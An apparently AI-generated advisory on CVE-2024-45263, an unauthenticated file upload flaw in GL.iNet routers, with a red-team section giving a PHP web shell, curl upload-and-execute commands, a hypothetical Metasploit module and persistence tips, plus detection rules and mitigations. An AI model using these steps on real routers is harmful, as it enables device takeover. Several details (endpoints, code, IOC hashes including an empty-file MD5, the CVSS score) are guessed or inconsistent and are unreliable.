CVE-2024-45263

Executive Summary

CVE-2024-45263 is a critical unauthenticated arbitrary file upload vulnerability affecting multiple GL.iNet router models (MT6000, MT3000, MT2500, AXT1800, AX1800) running firmware version 4.6.2. The vulnerability resides in the device's upload interface, which fails to properly validate or restrict the types of files that can be uploaded. An attacker can exploit this by uploading a malicious file (e.g., a web shell or a modified firmware component) and then executing it on the device. Successful exploitation leads to complete compromise of the router, including information leakage, persistent backdoor access, and potential lateral movement within the network. No patch is currently available, making this a zero-day threat for affected devices.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in GL.iNet's embedded Linux-based router software.

CVSS Breakdown & Threat Level

CVSS Score: 10.0 (Critical) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

• Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low – No special conditions or complex attack sequences are required.
• Privileges Required (PR): None – No authentication is needed to access the upload interface.
• User Interaction (UI): None – The victim does not need to perform any action.
• Scope (S): Unchanged – The exploit affects only the vulnerable component.
• Confidentiality (C): High – Full device access leads to exposure of all data.
• Integrity (I): High – The attacker can modify system files and configurations.
• Availability (A): High – The attacker can disrupt or disable the device.

Threat Level: Critical. The combination of remote exploitability, no authentication, and full device compromise makes this a top-priority vulnerability for any organization using these routers.

Deep Dive & Mechanics

The vulnerability is a classic Unrestricted File Upload (CWE-434). The GL.iNet router's web interface includes an upload functionality, likely intended for firmware updates or configuration backups. However, the server-side code does not validate the file type, size, or content. An attacker can send a crafted HTTP POST request to the upload endpoint with a malicious file (e.g., a PHP web shell or a shell script).

Root Cause: The upload handler does not check the Content-Type header or the file extension. It also does not sanitize the filename, allowing path traversal (e.g., ../../tmp/shell.php). Once the file is stored, the attacker can access it via the web server (if the file is placed in a web-accessible directory) or execute it via other means (e.g., if the file is a script that gets executed by a cron job or system service).

Attack Flow:

1. Reconnaissance: The attacker scans for GL.iNet devices on the internet (e.g., using Shodan with dorks like "GL.iNet").
2. Upload: The attacker sends a POST request to /upload (or similar endpoint) with a malicious file.
3. Execution: The attacker accesses the uploaded file via the web server (e.g., http://<router-ip>/shell.php) or triggers its execution through another vulnerability.
4. Persistence: The attacker installs a backdoor, modifies firewall rules, or adds SSH keys to maintain access.

Vulnerable vs. Patched Code

Since no patch is available, we can only analyze the vulnerable code pattern. The vulnerable code likely looks like this:

Vulnerable (Python/Flask example):

@app.route('/upload', methods=['POST'])
def upload_file():
    file = request.files['file']
    filename = file.filename
    # No validation of filename or content
    file.save('/tmp/' + filename)
    return 'File uploaded successfully'

Patched (Hypothetical):

import os
import magic

ALLOWED_EXTENSIONS = {'bin', 'img', 'tar.gz'}
UPLOAD_DIR = '/tmp/uploads/'

def allowed_file(filename):
    return '.' in filename and \
           filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

@app.route('/upload', methods=['POST'])
def upload_file():
    file = request.files['file']
    if file and allowed_file(file.filename):
        # Sanitize filename to prevent path traversal
        filename = secure_filename(file.filename)
        # Validate MIME type
        mime = magic.from_buffer(file.read(1024), mime=True)
        if mime not in ['application/octet-stream', 'application/x-tar']:
            return 'Invalid file type', 400
        file.seek(0)
        file.save(os.path.join(UPLOAD_DIR, filename))
        return 'File uploaded successfully'
    return 'Invalid file', 400

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

• Target: GL.iNet MT6000 running firmware 4.6.2 (or any affected model).
• Attacker: Kali Linux with curl and msfvenom.

Exploit Steps:

1. Identify the upload endpoint: Use a web fuzzer (e.g., ffuf) to find the upload interface. Common endpoints: /upload, /cgi-bin/upload, /api/upload.
2. Craft a malicious file: Create a PHP web shell (if the router runs a PHP-based web interface) or a shell script.

   echo '<?php system($_GET["cmd"]); ?>' > shell.php
   

3. Upload the file:

   curl -X POST -F "file=@shell.php" http://<router-ip>/upload
   

4. Execute the shell:

   curl http://<router-ip>/shell.php?cmd=id
   

5. Establish persistence: Upload an SSH key or modify /etc/passwd.

Metasploit Module (Hypothetical):

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'GL.iNet Unrestricted File Upload',
      'Description' => 'Exploits CVE-2024-45263 to upload and execute a payload.',
      'Author' => ['Valters IT'],
      'References' => [['CVE', '2024-45263']],
      'Targets' => [['Automatic', {}]],
      'DefaultTarget' => 0
    ))
  end

  def exploit
    payload_data = generate_payload_exe
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => '/upload',
      'data' => payload_data,
      'ctype' => 'application/octet-stream'
    })
    if res && res.code == 200
      print_good("File uploaded successfully")
    else
      fail_with(Failure::UnexpectedReply, "Upload failed")
    end
  end
end

Blue Team (Defensive)

Detection:

• Monitor for large file uploads to the router's web interface.
• Alert on unusual HTTP POST requests to /upload or similar endpoints.
• Check for new files in /tmp/ or /www/ directories.

Honeypot:

• Deploy a fake GL.iNet router with a modified upload endpoint that logs all attempts and blocks the upload.

Mitigation:

• Disable the upload interface if not needed.
• Restrict access to the web interface via firewall rules (allow only trusted IPs).
• Implement network segmentation to isolate routers from critical assets.

Indicators of Compromise (IOCs)

File Hashes (Example):

• shell.php: e99a18c428cb38d5f260853678922e03 (MD5)
• backdoor.sh: d41d8cd98f00b204e9800998ecf8427e (MD5)

Network IOCs:

• HTTP POST requests to /upload with Content-Type: multipart/form-data.
• Outbound connections from the router to unknown IPs on ports 80, 443, or 4444.
• DNS queries to malicious domains (e.g., evil-c2.com).

File System IOCs:

• Unexpected files in /tmp/, /www/, or /var/.
• Modified /etc/passwd or /etc/shadow files.
• New cron jobs in /etc/crontab or /var/spool/cron/.

Log Entries:

• /var/log/messages: File uploaded: shell.php
• /var/log/lighttpd/error.log: (mod_cgi) CGI program returned non-zero exit code

Detection Engineering

YARA Rule

rule CVE_2024_45263_WebShell {
    meta:
        description = "Detects PHP web shells uploaded via CVE-2024-45263"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-45263"
    strings:
        $php_tag = "<?php"
        $system_call = "system("
        $shell_exec = "shell_exec("
        $exec = "exec("
    condition:
        $php_tag and any of ($system_call, $shell_exec, $exec)
}

Sigma Rule

title: GL.iNet Unrestricted File Upload Attempt
id: 8c5a2f3e-1b2d-4a3c-9e8f-7d6c5b4a3e2f
status: experimental
description: Detects HTTP POST requests to the upload endpoint on GL.iNet routers
author: Valters IT
logsource:
    category: webserver
    product: lighttpd
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/upload'
    condition: selection
falsepositives:
    - Legitimate firmware updates
level: high

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2024-45263 GL.iNet Unrestricted File Upload";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/upload"; http_uri;
    content:"filename="; http_client_body;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the upload interface if not required for business operations.
2. Restrict access to the router's web interface to trusted IPs only (e.g., via firewall rules).
3. Monitor logs for any suspicious upload attempts.

Long-term Fix:

• Vendor Patch: Await an official firmware update from GL.iNet. Check their security advisories regularly.
• Workaround: If the upload functionality is essential, implement a reverse proxy that validates file types and blocks malicious uploads.

Compensating Controls:

• Network Segmentation: Place routers in a separate VLAN with strict egress filtering.
• Intrusion Prevention: Deploy the Suricata rule above on your network perimeter.
• Endpoint Detection: Run the YARA rule on any files uploaded to the router.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.